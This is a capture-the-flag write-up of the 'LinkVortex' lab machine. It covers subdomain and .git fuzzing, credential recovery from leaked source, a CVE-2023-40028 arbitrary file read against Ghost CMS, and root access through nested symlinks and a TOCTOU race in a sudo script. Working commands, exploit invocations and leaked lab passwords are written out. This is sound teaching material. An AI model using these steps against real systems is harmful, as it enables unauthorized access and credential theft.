Summary
User: Exposed .git repository & CVE-2023-40028
Root: Nested symlinks or TOCTOU race condition exploit
Enumeration
Starting with a simple nmap scan, we can identify that ssh and a web server are running.
1
2
3
4
5
| $ nmap -Pn -p- 10.10.11.47 -v
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|
User
Fuzzing
We discover ““BitByBit Hardware” website running on port 80 powered by Ghost CMS.

After adding it to our hosts
file, we fuzz it and uncover a subdomain: dev.linkvortex.htb
1
2
3
| $ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://linkvortex.htb -H "host: FUZZ.linkvortex.htb" -fs 230
<...>
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 15ms]
|

Fuzzing this subdomain reveals the presence of a .git
directory.
1
2
3
4
5
6
7
8
9
| $ ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://dev.linkvortex.htb/FUZZ
<...>
.git [Status: 301, Size: 239, Words: 14, Lines: 8, Duration: 15ms]
.git/HEAD [Status: 200, Size: 41, Words: 1, Lines: 2, Duration: 18ms]
.git/logs/ [Status: 200, Size: 868, Words: 59, Lines: 16, Duration: 19ms]
.git/config [Status: 200, Size: 201, Words: 14, Lines: 9, Duration: 17ms]
.git/index [Status: 200, Size: 707577, Words: 2171, Lines: 2172, Duration: 17ms]
index.html [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 16ms]
server-status [Status: 403, Size: 199, Words: 14, Lines: 8, Duration: 19ms]
|
We can then use the tool GitHack to recover the original source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| $ ./GitHack.py http://dev.linkvortex.htb/.git/
<...>
$ tree dev.linkvortex.htb
dev.linkvortex.htb
βββ Dockerfile.ghost
βββ ghost
βββ core
βββ test
βββ regression
βββ api
βββ admin
βββ authentication.test.js
7 directories, 2 files
|
Among the recovered files, we find authentication.test.js
, which contains the admin credentials:
1
2
3
4
5
6
7
8
9
10
11
| $ less ghost/core/test/regression/api/admin/authentication.test.js
<...>
it('complete setup', async function () {
const email = 'test@example.com';
const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')
.query(true)
.replyWithFile(200, fixtureManager.getPathForFixture('themes/valid.zip'));
<...>
|
We can then use this password to access the administration interface(username can be easily guessed as admin@linkvortex.htb) using http://linkvortex.htb/ghost/#/signin but it doesn’t give us further access.
However, in Dockerfile.ghost
, we find the Ghost version: 5.58.0, which is vulnerable to CVE-2023-40028, an arbitrary file read vulnerability.
1
2
3
| $ cat Dockerfile.ghost
FROM ghost:5.58.0
<...>
|
Using this exploit, we can try it to read the /etc/passwd
file.
1
2
3
4
5
6
7
| $ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /etc/passwd
File content:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<...>
|
What other interresting files can we read ? Well, looking back at Dockerfile.ghost
, we find a config file path: /var/lib/ghost/config.production.json
.
1
2
3
4
5
6
| $ cat Dockerfile.ghost
FROM ghost:5.58.0
# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json
<...>
|
Reading this file via the CVE reveals the credentials of the user: bob
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| $ ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb
WELCOME TO THE CVE-2023-40028 SHELL
Enter the file path to read (or type 'exit' to quit): /var/lib/ghost/config.production.json
File content:
<...>
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}
|
With these credentials, we canconnect via SSH the machine and retrieve the user flag.
1
2
3
4
| $ ssh bob@linkvortex.htb
bob@linkvortex:~$ pwd; ls
/home/bob
user.txt
|
Root
Symlinks
Running sudo -l
, we find that bob can execute the script clean_symlink.sh
as root without a password:
1
2
3
4
5
6
7
8
| bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
|
If we take a look at second part of the script, we see that it checks for the presence of etc
or root
in the symlink target path. If such terms are detected, the link is deleted.
Otherwise, it is moved to /var/quarantined
, and if the environment variable CHECK_CONTENT
is set to true, the file content is displayed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi
|
We can use two approaches to bypass these checks and read the root.txt
file: nested symlinks or TOCTOU exploit.
Method 1: Nested symlinks
We create two symlinks, link1.png to link2.png and link2.png points to /root/root.txt.
This way, link1 bypasses the keyword check since its target doesn’t contain (etc|root)
.
/home/bob/link1.png -> /home/bob/link2.png -> root.txt
1
2
3
4
5
6
7
| bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /root/root.txt link2.png
bob@linkvortex:~$ ln -s $PWD/link2.png link1.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh link1.png
Link found [ link1.png ] , moving it to quarantine
Content:
6<...>3
|
Method 2: TOCTOU race condition
The script checks if the file is a symlink using /usr/bin/test -L link.png
. Then, it calls basename
and readlink
based on that assumption.
Between the check and the read of the symlink, we can exploit a race condition by continuously interchange the symlink target /tmp/random
to /root/root.txt
.
In one terminal, we run a loop that flips the symlink target.
In another terminal, we repeatedly execute the vulnerable script.
If the timing is right, the script displays the content of root.txt
.
This vulnerability is called TOCTOU (Time-of-Check to Time-of-use).
Using this article, we can try to access root.txt
.
Terminal 1
1
2
3
4
| bob@linkvortex:~$ timeout 5s bash -c 'while true; do ln -sf $PWD/random $PWD/link.png; ln -sf /root/root.txt $PWD/link.png; done'
ln: failed to create symbolic link '/home/bob/link.png': File exists
ln: failed to create symbolic link '/home/bob/link.png': File exists
<...>
|
Terminal 2
1
2
3
4
5
6
7
8
9
| bob@linkvortex:~$ timeout 2s bash -c 'while true; do sudo /usr/bin/bash /opt/ghost/clean_symlink.sh link.png; done'
Link found [ link.png ] , moving it to quarantine
Content:
6<...>3
! Trying to read critical files, removing link [ link.png ] !
Link found [ link.png ] , moving it to quarantine
Content:
6<...>3
<...>
|
Resources
CVE-2023-40028 exploit
GitHack
CTF Writeup: picoCTF 2023 - “Tic-Tac”